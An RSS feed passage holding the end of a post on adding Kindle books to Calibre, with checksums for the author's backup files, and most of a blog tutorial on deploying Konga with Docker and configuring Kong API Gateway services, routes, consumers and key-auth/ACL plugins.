  <li>Install then launch it, and download the book.</li>
  <li>Go to <code class="language-plaintext highlighter-rouge">~/Documents/My Kindle Content</code></li>
  <li>Find book by Last Modified Date.</li>
  <li>Run <code class="language-plaintext highlighter-rouge">calibredb add book.azw</code>. If all goes well, the book should show up in your library, and you should be able to convert it.</li>
</ol>

<hr />

<h1 id="reference-files">Reference Files</h1>

<p>I have a backup of my current Kindle files at http://ge.tt/75zk4Dv2 in case you need any of the files mentioned above. Checksums for the files are below, since <code class="language-plaintext highlighter-rouge">ge.tt</code> doesn’t believe in HTTPS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>e3b05193ed9d0b482f01dfb550eba67f3b113b5165aae5632379cf35fec2f59d  copy.tar.gz
14e0f0053f1276c0c7c446892dc170344f707fbfe99b6951762c120144163200  KindleForPC-installer-1.17.44170.exe
c7a1a93763d102bca0fed9c16799789ae18c3322b1b3bdfbe8c00422c32f83d7  KindleForPC-installer-1.24.51068.exe
50bb0e5d9c03bcb79b17c1b7063cefd2c947a9d1c4392814e6ec05225296472a  kual-helper-0.5.N.zip
39352b4b68993680f06d5ecc57ce7ec4c271b6b5f2386ea998027420c45f2acd  KUAL-KDK-1.0.azw2
ceb207ee4c8d3674f308ff91432aeabf213b203571e270f70b8ae218df6ded7d  KUAL-KDK-2.0.azw2
fce02f0e104e846f1e4cc0e029500c5a722614d63a47035d78ea4cf59f67a448  kual-mrinstaller-1.6.N.zip
4a6de1fafe47ec0e3bfb529edead401c92e66b00697d507abe945679b3b7bc65  KUAL-v2.7.zip
253d0b00b31d62ef9dadb7ca88b98e2718cb35246816b3c50dd63c0a7ef28a52  Update_jailbreak_hotfix_1.14_5.8.10_install.bin
cc63ba1b454d1f32492c835f108ee04aaa80e6e7a95f12b7216c2c015daa2fbc  Update_jailbreak_hotfix_1.14_nomax_install.bin
</code></pre></div></div>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Setting up Kong API Gateway - Part 2/2]]></title>
            <link>https://mrkaran.dev/posts/setting-up-kong-part-2/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/setting-up-kong-part-2/</guid>
            <pubDate>Sat, 23 Mar 2019 06:27:55 GMT</pubDate>
            <description><![CDATA[Managing Kong using UI#
Konga is an unofficial project which is basically an UI for Admin API of Kong. This post is about how to setup Konga and configuring an upstream service. We will also add an authentication layer to our upstream.
Docker to the rescue#
We will use Docker to quickly setup Konga as it a Node.js project and it is a lot of trouble building node projects on server, so let’s just use Docker.
Our docker-compose.yml for reference:
version: "3.1"

services:
  db:
    image: postgres
    restart: always
    ports:
      - 5432:5432
    environment:
      POSTGRES_PASSWORD: "<redacted>"
    volumes:
      - /home/ubuntu/docker/volumes/postgresql/:/var/lib/postgresql/data
    networks:
      - dockergalaxy

  app:
    image: pantsel/konga:latest
    restart: always
    ports:
      - 1337:1337
    environment:
      DB_URI: "postgresql://user_redacted:pass_redacted@db:5432/db_redacted"
      DB_ADAPTER: "postgres"
    networks:
      - dockergalaxy

  nginx:
    image: nginx:latest
    ports:
      - 80:80
      - 443:443
    volumes:
      - /home/ubuntu/docker/volumes/nginx/conf/:/etc/nginx/conf.d
      - /home/ubuntu/docker/volumes/nginx/ssl/:/etc/ssl/certs/konga/
    networks:
      - dockergalaxy

networks:
  dockergalaxy:
docker-compose pull
docker-compose up -d
Verify, if all 3 containers are up.
$ docker ps
CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS                                      NAMES
5f20abcd81fc        nginx:latest           "nginx -g 'daemon of…"   29 hours ago        Up 28 hours         0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp   deployment_nginx_1
ff20abcd24a66        pantsel/konga:latest   "/app/start.sh"          30 hours ago        Up 29 hours         0.0.0.0:1337->1337/tcp                     deployment_app_1
5848abcd27d2a        postgres               "docker-entrypoint.s…"   30 hours ago        Up 29 hours         0.0.0.0:5432->5432/tcp                     deployment_db_1

Konga is running on port 1337 and you can verify the same by doing a curl:
curl http://localhost:1337 # should return HTTP 200
Adding an Upstream to Kong#
Visit Konga Admin Dashboard to login. If this is a first time login, you need to activate the connection to Kong’s Admin API by visiting Connections tab. This step needs to be done by each admin user, individually.

Some common terminology before we begin setting up our APIs: (Source)

TermDescription

clientRefers to the downstream client making requests to Kong’s proxy port.
upstream serviceRefers to your own API/service sitting behind Kong, to which client requests are forwarded.
ServiceService are abstraction of each of your own upstream services.
RouteRoutes are entrypoints into Kong, and defining rules for a request to be matched, and routed to a given Service.
PluginThis refers to Kong “plugins”, which are pieces of business logic that run in the proxying lifecycle. Plugins can be configured for an individual route, or a service or globally. An example of plugin which we use is Key Auth plugin for authentication.

Adding New Service#
Visit the Services section and click on Add new Service. Enter the following details for your upstream service here. You can refer to the below screenshot for reference:


FieldValue

NameAdd a unique name for your upstream service.
DescriptionService description.
TagsList of tags to identify a group of services together. Press ENTER for any kind of array values in Konga UI.
URLShorthand for setting Host, Path, Protocol with just one value. Note that this is only a feature in Konga, Kong doesn’t have it, when using it with the Admin API calls directly.

Verify the details once and click on Save. Next, we’ll see how to add routes.
Adding Routes to Services#
Visit the Services section and click on the service entity you just created.

Go to the routes section and add the a new route entry for the service. You can refer to the below screenshot for reference:


FieldValue

NameAdd a unique name for your route.
HostsKong checks for the hostname present in the incoming request’s header. If you specify this value then the Hostname must be present for Kong to match the request to this route. This is suitable only if you want to block any request made outside this hostname. You can leave it null if not needed.
PathList of paths present in incoming request. This is required to namespace the upstream endpoints. The client must send this prefix in the request, Kong will try to match any request’s path in this list of paths and based on the settint of strip_path the request will be proxied.
Strip PathBoolean value, which configures Kong to strip the matching path from the incoming request to the upstream URL.

How routing actually works#
Kong has the ability to configure really complex routing endpoints based on your usecases. For the simplicity and keeping this guide as generic, the basic (but most common) use case is discussed below by taking an example.
Let’s say your upstream URL(service) is http://jsonplaceholder.typicode.com/. To setup Kong for this service, we will simply add a route, with the path as /fake. Here the path acts as a namespace, to differentiate between different services. This can be helpful to avoid route collision if there are a lot of upstream services configured.
Consider the upstream API endpoint is https://jsonplaceholder.typicode.com/todos/.
If we specify Kong to have the path as /fake and set the strip_path as True then our incoming request should look like
https://kongapigateway.com/fake/todos.
Kong will try to match the path /fake in this incoming request and look for the routes where the path is /fake. Since it found the correct route, and we have set strip_path to True, Kong will just remove this particular path prefix while reverse proxying to the upstream URL. In this way, our upstream doesn’t need to be concerned about the path prefix as well.
Adding Consumers#
Step 1:
Visit the Consumers section to add consumers for your API. Here the consumers doesn’t really mean 1:1 users, it could be a particular production service wanting to consume another service’s API.
Step 2:
Click on Add new consumer and enter the following details:

Step 3:
Add the remaining details in the groups section. Visit the Credentials sections, click on API Keys (since we are using Key Auth plugin for authentication) and simply click on Submit button, since Kong will auto generate the API key for you (which most likely will be more secure than any random key you will enter).


Step 4:
Leave the other details as it is. We will add this consumer to our Services page. Visit the services tab, click on the service entity you created and
go to Plugins section. Click on Add New Plugin and the select Key Auth from the list.

In the modal that opens up, you need to specify the consumer UUID which was created (or leave it as blank for all consumers to access). More on controlling the access, is present later in the next section.

Step 5:
This feels a bit out of the flow, but after checking out Kong docs, there’s no alternate for this. In the previous step you would have been wondering, what if you need multiple consumers for the service, and want to identify them individually. Since Kong requires you to give either the Consumer UUID or leave it blank so all consumers are tied, the way around this is to use another plugin, called ACL Plugin. With this plugin, you can whitelist a group of consumers, so only the whitelisted consumers can access the API even though you specified All Consumers in the Key Auth plugin. ACL Plugin must be used in conjuction with another authentication plugin.
You can refer to the below screenshot for reference:


NOTE: This is the same group, which you created at the time of Consumer creation. You can group different consumers based on the service they consume, hence the naming convention one can follow is -consumers.
You can see all the eligible consumers for the service, in Eligible Consumers tab.
Using Kong as an end user#
You need to replace your upstream API endpoints and all other custom authentication with just the Kong’s URL, the namespace for the service, and add
the authentication keys in header while sending the request.
For example:
If your original request is:
curl -i -X GET --url http://jsonplaceholder.typicode.com/todos/
The modified request becomes:
curl -i -X GET --url https://kongapigateway.com/fake/todos/ --header "X-ACCESS: ENTER_KEY_HERE"
Accessing user authentication details in your API#
You can remove all custom authentication method in your API services as Kong forwards the user information in the headers. You can use the following headers while processing the incoming request to identify the users and implement custom business logic:

Header KeyValue

X-Consumer-IDID of the Consumer on Kong
X-Consumer-Custom-IDcustom_id of the Consumer (if set)
X-Consumer-Usernameusername of the Consumer (if set)
X-Anonymous-Consumerwill be set to true when authentication failed, and the ‘anonymous’ consumer was set instead.
X-Credential-Usernamethe username of the Credential (only if the consumer is not the ‘anonymous’ consumer)

The End#
Hope you liked the two part series of setting up and managing your Kong cluster. Do reach out to me @mrkaran_ in case of any feedback for the post. Thanks!]]></description>
            <content:encoded><![CDATA[<h1 id="managing-kong-using-ui">Managing Kong using UI<a class="zola-anchor" href="#managing-kong-using-ui" aria-label="Anchor link for: managing-kong-using-ui">#</a></h1>
<p><a rel="external" href="https://github.com/pantsel/konga">Konga</a> is an <em>unofficial</em> project which is basically an UI for Admin API of Kong. This post is about how to setup Konga and configuring an upstream service. We will also add an authentication layer to our upstream.</p>
<h2 id="docker-to-the-rescue">Docker to the rescue<a class="zola-anchor" href="#docker-to-the-rescue" aria-label="Anchor link for: docker-to-the-rescue">#</a></h2>
<p>We will use Docker to quickly setup Konga as it a Node.js project and it is a lot of trouble building node projects on server, so let’s just use Docker.</p>
<p>Our <code>docker-compose.yml</code> for reference:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">ersion</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">3.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">ervices</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  d</span><span style="color: light-dark(#22863A, #8DDB8C);">b</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ostgres</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">estart</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">lways</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 5</span><span style="color: light-dark(#032F62, #96D0FF);">432:5432</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      P</span><span style="color: light-dark(#22863A, #8DDB8C);">OSTGRES_PASSWORD</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&lt;redacted&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">home/ubuntu/docker/volumes/postgresql/:/var/lib/postgresql/data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">ockergalaxy</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  a</span><span style="color: light-dark(#22863A, #8DDB8C);">pp</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">antsel/konga:latest</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">estart</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">lways</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 1</span><span style="color: light-dark(#032F62, #96D0FF);">337:1337</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      D</span><span style="color: light-dark(#22863A, #8DDB8C);">B_URI</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">postgresql://user_redacted:pass_redacted@db:5432/db_redacted</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      D</span><span style="color: light-dark(#22863A, #8DDB8C);">B_ADAPTER</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">postgres</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">ockergalaxy</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  n</span><span style="color: light-dark(#22863A, #8DDB8C);">ginx</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> n</span><span style="color: light-dark(#032F62, #96D0FF);">ginx:latest</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 8</span><span style="color: light-dark(#032F62, #96D0FF);">0:80</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 4</span><span style="color: light-dark(#032F62, #96D0FF);">43:443</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">home/ubuntu/docker/volumes/nginx/conf/:/etc/nginx/conf.d</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">home/ubuntu/docker/volumes/nginx/ssl/:/etc/ssl/certs/konga/</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">ockergalaxy</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  d</span><span style="color: light-dark(#22863A, #8DDB8C);">ockergalaxy</span><span>:</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> pull</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> up</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">d</span></span></code></pre>
<p>Verify, if all 3 containers are up.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> docker</span><span style="color: light-dark(#032F62, #96D0FF);"> ps</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">CONTAINER</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">        IMAGE</span><span style="color: light-dark(#032F62, #96D0FF);">                  COMMAND</span><span style="color: light-dark(#032F62, #96D0FF);">                  CREATED</span><span style="color: light-dark(#032F62, #96D0FF);">             STATUS</span><span style="color: light-dark(#032F62, #96D0FF);">              PORTS</span><span style="color: light-dark(#032F62, #96D0FF);">                                      NAMES</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5f20abcd81fc</span><span style="color: light-dark(#032F62, #96D0FF);">        nginx:latest</span><span style="color: light-dark(#032F62, #96D0FF);">           &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">nginx -g &#39;daemon of…</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">   29</span><span style="color: light-dark(#032F62, #96D0FF);"> hours</span><span style="color: light-dark(#032F62, #96D0FF);"> ago</span><span style="color: light-dark(#032F62, #96D0FF);">        Up</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 28</span><span style="color: light-dark(#032F62, #96D0FF);"> hours</span><span style="color: light-dark(#032F62, #96D0FF);">         0.0.0.0:80</span><span>-</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">80/tcp,</span><span style="color: light-dark(#032F62, #96D0FF);"> 0.0.0.0:443</span><span>-</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">443/tcp</span><span style="color: light-dark(#032F62, #96D0FF);">   deployment_nginx_1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ff20abcd24a66</span><span style="color: light-dark(#032F62, #96D0FF);">        pantsel/konga:latest</span><span style="color: light-dark(#032F62, #96D0FF);">   &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/app/start.sh</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">          30</span><span style="color: light-dark(#032F62, #96D0FF);"> hours</span><span style="color: light-dark(#032F62, #96D0FF);"> ago</span><span style="color: light-dark(#032F62, #96D0FF);">        Up</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 29</span><span style="color: light-dark(#032F62, #96D0FF);"> hours</span><span style="color: light-dark(#032F62, #96D0FF);">         0.0.0.0:1337</span><span>-</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">1337/tcp</span><span style="color: light-dark(#032F62, #96D0FF);">                     deployment_app_1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5848abcd27d2a</span><span style="color: light-dark(#032F62, #96D0FF);">        postgres</span><span style="color: light-dark(#032F62, #96D0FF);">               &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker-entrypoint.s…</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">   30</span><span style="color: light-dark(#032F62, #96D0FF);"> hours</span><span style="color: light-dark(#032F62, #96D0FF);"> ago</span><span style="color: light-dark(#032F62, #96D0FF);">        Up</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 29</span><span style="color: light-dark(#032F62, #96D0FF);"> hours</span><span style="color: light-dark(#032F62, #96D0FF);">         0.0.0.0:5432</span><span>-</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">5432/tcp</span><span style="color: light-dark(#032F62, #96D0FF);">                     deployment_db_1</span></span>
<span class="giallo-l"></span></code></pre>
<p>Konga is running on port <code>1337</code> and you can verify the same by doing a <code>curl</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">curl</span><span style="color: light-dark(#032F62, #96D0FF);"> http://localhost:1337</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> should return HTTP 200</span></span></code></pre><h2 id="adding-an-upstream-to-kong">Adding an Upstream to Kong<a class="zola-anchor" href="#adding-an-upstream-to-kong" aria-label="Anchor link for: adding-an-upstream-to-kong">#</a></h2>
<p>Visit Konga Admin Dashboard to login. If this is a first time login, you need to activate the connection to Kong’s Admin API by visiting Connections tab. This step needs to be done by each admin user, individually.</p>
<p><img src="https://mrkaran.dev/images/kong-0.png" alt="image" /></p>
<p>Some common terminology before we begin setting up our APIs: (<a rel="external" href="https://docs.konghq.com/1.0.x/proxy/#terminology">Source</a>)</p>
<table><thead><tr><th>Term</th><th>Description</th></tr></thead><tbody>
<tr><td><code>client</code></td><td>Refers to the downstream client making requests to Kong’s proxy port.</td></tr>
<tr><td><code>upstream service</code></td><td>Refers to your own API/service sitting behind Kong, to which client requests are forwarded.</td></tr>
<tr><td><code>Service</code></td><td>Service are abstraction of each of your own upstream services.</td></tr>
<tr><td><code>Route</code></td><td>Routes are entrypoints into Kong, and defining rules for a request to be matched, and routed to a given Service.</td></tr>
<tr><td><code>Plugin</code></td><td>This refers to Kong “plugins”, which are pieces of business logic that run in the proxying lifecycle. Plugins can be configured for an individual route, or a service or globally. An example of plugin which we use is <code>Key Auth</code> plugin for authentication.</td></tr>
</tbody></table>
<h2 id="adding-new-service">Adding New Service<a class="zola-anchor" href="#adding-new-service" aria-label="Anchor link for: adding-new-service">#</a></h2>
<p>Visit the Services section and click on <strong>Add new Service</strong>. Enter the following details for your upstream service here. You can refer to the below screenshot for reference:</p>
<p><img src="https://mrkaran.dev/images/kong-1.png" alt="image" /></p>
<table><thead><tr><th>Field</th><th>Value</th></tr></thead><tbody>
<tr><td><code>Name</code></td><td>Add a unique name for your upstream service.</td></tr>
<tr><td><code>Description</code></td><td>Service description.</td></tr>
<tr><td><code>Tags</code></td><td>List of tags to identify a group of services together. Press <strong>ENTER</strong> for any kind of array values in Konga UI.</td></tr>
<tr><td><code>URL</code></td><td>Shorthand for setting <code>Host</code>, <code>Path</code>, <code>Protocol</code> with just one value. Note that this is only a feature in Konga, Kong doesn’t have it, when using it with the Admin API calls directly.</td></tr>
</tbody></table>
<p>Verify the details once and click on Save. Next, we’ll see how to add routes.</p>
<h2 id="adding-routes-to-services">Adding Routes to Services<a class="zola-anchor" href="#adding-routes-to-services" aria-label="Anchor link for: adding-routes-to-services">#</a></h2>
<p>Visit the Services section and click on the service entity you just created.</p>
<p><img src="https://mrkaran.dev/images/kong-2.png" alt="image" /></p>
<p>Go to the routes section and add the a new route entry for the service. You can refer to the below screenshot for reference:</p>
<p><img src="https://mrkaran.dev/images/kong-3.png" alt="image" /></p>
<table><thead><tr><th>Field</th><th>Value</th></tr></thead><tbody>
<tr><td><code>Name</code></td><td>Add a unique name for your route.</td></tr>
<tr><td><code>Hosts</code></td><td>Kong checks for the hostname present in the incoming request’s header. If you specify this value then the Hostname <strong>must</strong> be present for Kong to match the request to this route. This is suitable only if you want to block any request made outside this hostname. You can leave it null if not needed.</td></tr>
<tr><td><code>Path</code></td><td>List of paths present in incoming request. This is required to namespace the upstream endpoints. The client must send this prefix in the request, Kong will try to match any request’s path in this list of paths and based on the settint of <code>strip_path</code> the request will be proxied.</td></tr>
<tr><td><code>Strip Path</code></td><td>Boolean value, which configures Kong to strip the matching path from the incoming request to the upstream URL.</td></tr>
</tbody></table>
<h3 id="how-routing-actually-works">How routing actually works<a class="zola-anchor" href="#how-routing-actually-works" aria-label="Anchor link for: how-routing-actually-works">#</a></h3>
<p>Kong has the ability to configure really complex routing endpoints based on your usecases. For the simplicity and keeping this guide as generic, the basic (but most common) use case is discussed below by taking an example.</p>
<p>Let’s say your upstream URL(<code>service</code>) is <code>http://jsonplaceholder.typicode.com/</code>. To setup Kong for this service, we will simply add a route, with the path as <code>/fake</code>. Here the <code>path</code> acts as a namespace, to differentiate between different services. This can be helpful to avoid route collision if there are a lot of upstream services configured.</p>
<p>Consider the upstream API endpoint is <code>https://jsonplaceholder.typicode.com/todos/</code>.
If we specify Kong to have the <code>path</code> as <code>/fake</code> and set the <code>strip_path</code> as <code>True</code> then our incoming request should look like
<code>https://kongapigateway.com/fake/todos</code>.</p>
<p>Kong will try to match the path <code>/fake</code> in this incoming request and look for the routes where the path is <code>/fake</code>. Since it found the correct route, and we have set <code>strip_path</code> to <code>True</code>, Kong will just remove this particular <code>path</code> prefix while reverse proxying to the upstream URL. In this way, our upstream doesn’t need to be concerned about the <code>path</code> prefix as well.</p>
<h2 id="adding-consumers">Adding Consumers<a class="zola-anchor" href="#adding-consumers" aria-label="Anchor link for: adding-consumers">#</a></h2>
<ul>
<li>
<p>Step 1:
Visit the Consumers section to add consumers for your API. Here the consumers doesn’t really mean 1:1 users, it could be a particular production service wanting to <em>consume</em> another service’s API.</p>
</li>
<li>
<p>Step 2:
Click on <strong>Add new consumer</strong> and enter the following details:</p>
</li>
</ul>
<p><img src="https://mrkaran.dev/images/kong-4.png" alt="image" /></p>
<ul>
<li>Step 3:
Add the remaining details in the groups section. Visit the Credentials sections, click on <code>API Keys</code> (since we are using Key Auth plugin for authentication) and simply click on <strong>Submit</strong> button, since Kong will auto generate the API key for you (which most likely will be more secure than any random key you will enter).</li>
</ul>
<p><img src="https://mrkaran.dev/images/kong-5.png" alt="image" /></p>
<p><img src="https://mrkaran.dev/images/kong-6.png" alt="image" /></p>
<ul>
<li>Step 4:
Leave the other details as it is. We will add this consumer to our Services page. Visit the services tab, click on the service entity you created and
go to Plugins section. Click on <strong>Add New Plugin</strong> and the select Key Auth from the list.
<img src="https://mrkaran.dev/images/kong-7.png" alt="image" /></li>
</ul>
<p>In the modal that opens up, you need to specify the consumer UUID which was created (or leave it as blank for all consumers to access). More on controlling the access, is present later in the next section.
<img src="https://mrkaran.dev/images/kong-8.png" alt="image" /></p>
<ul>
<li>Step 5:
This feels a bit out of the flow, but after checking out Kong docs, there’s no alternate for this. In the previous step you would have been wondering, what if you need multiple consumers for the service, and want to identify them individually. Since Kong requires you to give either the Consumer UUID or leave it blank so all consumers are tied, the way around this is to use another plugin, called <strong>ACL Plugin</strong>. With this plugin, you can whitelist a group of consumers, so only the whitelisted consumers can access the API even though you specified <em>All Consumers</em> in the Key Auth plugin. <em>ACL Plugin</em> must be used in conjuction with another authentication plugin.</li>
</ul>
<p>You can refer to the below screenshot for reference:
<img src="https://mrkaran.dev/images/kong-9.png" alt="image" /></p>
<p><img src="https://mrkaran.dev/images/kong-10.png" alt="image" /></p>
<p><em>NOTE</em>: This is the same group, which you created at the time of Consumer creation. You can group different consumers based on the service they consume, hence the naming convention one <em>can</em> follow is <em><service-name>-consumers</em>.</p>
<p>You can see all the eligible consumers for the service, in <em>Eligible Consumers</em> tab.</p>
<h2 id="using-kong-as-an-end-user">Using Kong as an end user<a class="zola-anchor" href="#using-kong-as-an-end-user" aria-label="Anchor link for: using-kong-as-an-end-user">#</a></h2>
<p>You need to replace your upstream API endpoints and all other custom authentication with just the Kong’s URL, the namespace for the service, and add
the authentication keys in header while sending the request.</p>
<p>For example:</p>
<p>If your original request is:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">curl</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">X</span><span style="color: light-dark(#032F62, #96D0FF);"> GET</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-url</span><span style="color: light-dark(#032F62, #96D0FF);"> http://jsonplaceholder.typicode.com/todos/</span></span></code></pre>
